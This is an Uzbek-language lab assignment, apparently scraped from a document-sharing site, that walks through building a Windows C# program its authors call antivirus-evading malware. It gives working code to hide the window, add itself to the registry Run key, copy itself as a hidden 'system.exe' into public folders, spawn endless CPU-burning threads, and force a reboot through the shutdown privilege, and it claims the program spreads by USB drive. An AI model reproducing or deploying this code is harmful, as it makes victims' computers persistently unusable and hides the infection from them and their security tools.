Amaliy ish №8


Download 23.08 Kb.
bet1/2
Sana08.05.2023
Hajmi23.08 Kb.
#1441787
  1   2
Bog'liq
Amaliy ish 8

Amaliy ish № 8.




Ishdan maqsad: Ushbu laboratoriya ishida Visual Studioda C# dasturlash tilida antiviruslar ko’rmaydigan zararkunanda dastur yaratishni ko’rib chiqamiz. Shu sababli quyida ushbu dasturni yaratish ketma-ketligini ko’rib chiqamiz.
Mavzu: Antivirusni to’xtatib qo’yuvchi zararkunanda dasturiy vositani yaratish


Nazariy qism: Ishni boshlashdan oldin Windows OTda framework 2. 0 yoki undan yuqori versiyalari bo’lishi kerak. Ushbu frameworklar Visual Studioda yozilgan dasturni
kompilyatsiya qilish uchun qo’llaniladi.
Antivirus yaratilgan virusni ko’rmasligi uchun uning bazasida bu virus haqida xech qanday axborot bo’lmasligi lozim, ya’ni: virusning algoritmi va uning xesh qiymati. Shuningdek, yaratilgan virus foydalanuvchi uchun ham ko’rinmas bo’lishi lozim.
Dasturni yaratish quyidagi qadamlardan iboratdir.

    1. bosqich: VisualStudioda Windows Forms Application loyihasini tanlaymiz va unga nom beramiz. Loyiha sozlanmalar menyusidan target framework 2. 0. ni tanlaymiz va saqlab qo’yamiz.

Foydalanuvchiga ko’rinmas bo’lishi uchun quyidagi amallarni bajaramiz:

  • FormBorderStyle — None;

  • Opacity — 0%;

  • ShowIcon — False;

  • ShowInTaskbar — False.

Barcha amallarni bajarib bo’lgach, uni ishlashini tekshirib ko’ramiz. Natijada dastur foydalanuvchiga ko’rinmas bo’lishi lozim.

    1. bosqich: Quyida yozilgan kod orqali dastur avtomatik yuklanish holatiga o’tadi. Dasturda bu bosqich birinchi bo’lib bajarilishi uchun “autorun” sinfini tanlaymiz va “SetAutorunValue” metodini belgilaymiz. Uning kodi quyidagicha: public static bool SetAutorunValue(bool autorun, string npath)

{
const string name = "systems"; string ExePath = npath; RegistryKey reg;


reg = Registry. CurrentUser. CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try
{
if (autorun)
reg. SetValue(name, ExePath); else
reg. DeleteValue(name); reg. Flush();
reg. Close();
}
catch
{
return false;
}
return true;
}
Hosil bo’lgan dastur Windows XP, Vista va 7 OTlarda ishlaydi. Birinchi navbatda dastur OT turini aniqlaydi va uning umumiy papakasida joylashadi. Quyida dasturni avtoyuklama qismiga o’tkazish kodi keltirilgan.
public static string needPatch = "C:\\Users\\Public\\"; public Form1()
{
if (OSVersionInfo. Name == "Windows 7" || OSVersionInfo. Name == "Windows Vista")
{
autorun. SetAutorunValue(true, needPatch + "system. exe"); // добавить в автозагрузку
//SetAutorunValue(false, needPatch + "system. exe"); // убрать из автозагрузки
}
else
if (OSVersionInfo. Name == "Windows XP")
{
needPatch = "C:\\Documents and Settings\\All Users\\";
autorun. SetAutorunValue(true, needPatch + "system. exe"); // добавить в автозагрузку

//SetAutorunValue(false, needPatch + "system. exe"); // убрать из автозагрузки


}
InitializeComponent();
Bu kod bajarilgandan keyin dasturni OTning umumiy papkasiga o’tganini ko’rishimiz mumkin.
Form1_Load da quyidagi kodni yozamiz:
if (!File. Exists(needPatch + "system. exe"))
{
try
{
File. Copy("system. exe", needPatch + "system. exe");
File. SetAttributes(needPatch + "system. exe", FileAttributes. Hidden);

}
catch { }


}
Dastur o’z-o’zini nusxalaydi va ko’rinmas ko’rinishga o’tkazadi. Biz yuqorida yaratgan dasturimiz orqali uning foydalanuvchilarga ko’rinmasligi, o’z- o’zini nusxalashi va avtoyuklamaga ko’chirilishini tekshirishimiz mumkin.

    1. bosqich: Yaratilgan virus OTni ishini to’xtatishga va uni qayta yuklanishga majbur qiladi. Tizimni ishdan to’xtatish to’xtovsiz hisoblash oqimini jo’natish orqali amalga oshiramiz. Form1. csga quyidagi kodni kiritamiz:

public static void sys_sleep()
{
while (true)
{
Thread s = new Thread(s_b);
s. Start();
}
}
private static void s_b()
{
int y = 2; while (true)
{
y *= y;
}
}

Qayta yuklanish orqali amalga oshirish murakkabroq, shuning uchun WINAPI yordamida quyidagini kiritamiz:


[StructLayout(LayoutKind. Sequential, Pack = 1)] internal struct TokPriv1Luid
{
public int Count; public long Luid; public int Attr;
}
[DllImport("kernel32. dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess();
[DllImport("advapi32. dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32. dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("advapi32. dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("user32. dll", ExactSpelling = true, SetLastError = true)] internal static extern bool ExitWindowsEx(int flg, int rea);
internal const int EWX_REBOOT = 0x00000002;
internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;

public static Thread thread1;


public static void DoExitWin(int flg)
{
bool ok; TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess(); IntPtr htok = IntPtr. Zero;
ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp. Count = 1; tp. Luid = 0;
tp. Attr = SE_PRIVILEGE_ENABLED;
ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp. Luid);

ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr. Zero, IntPtr. Zero); ok = ExitWindowsEx(flg, 0);


}\
Taymer funksiyasi yordamida dasturning samaradorligini tekshirish mumkin: public static void start()
{
Stopwatch sw = new Stopwatch(); sw. Start();
bool b = true; bool pl = false; while (b)
{
if (sw. ElapsedMilliseconds > 20000)
{
if (!pl)
{
Thread g = new Thread(sys_sleep);
g. Start(); pl = true;
}
}
if (sw. ElapsedMilliseconds > 45000)
{
DoExitWin(EWX_REBOOT); b = false;
}
}
}
Form1_Load da Start() metodini chaqiramiz. Bu dastur tizimni 20 sekundan keyin ishdan chiqaradi va 45-sekundida qayta yuklaydi. Flesh qurilmani kompyuterga ulaganimizda . exe ko’rinishdagi dastur flesh xotiraga o’tadi va u ulangan joyda o’z nusxasini(o’z-o’zini nusxalash xsusiyati) qoldiradi. Va bu jarayondan keyin o’z ishini, ya’ni, yuqoridagi bosqichlarni qaytaradi. Antivirus ushbu dasturni ko’rmaydi va tekshira olmaydi.

Download 23.08 Kb.

Do'stlaringiz bilan baham:
  1   2




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling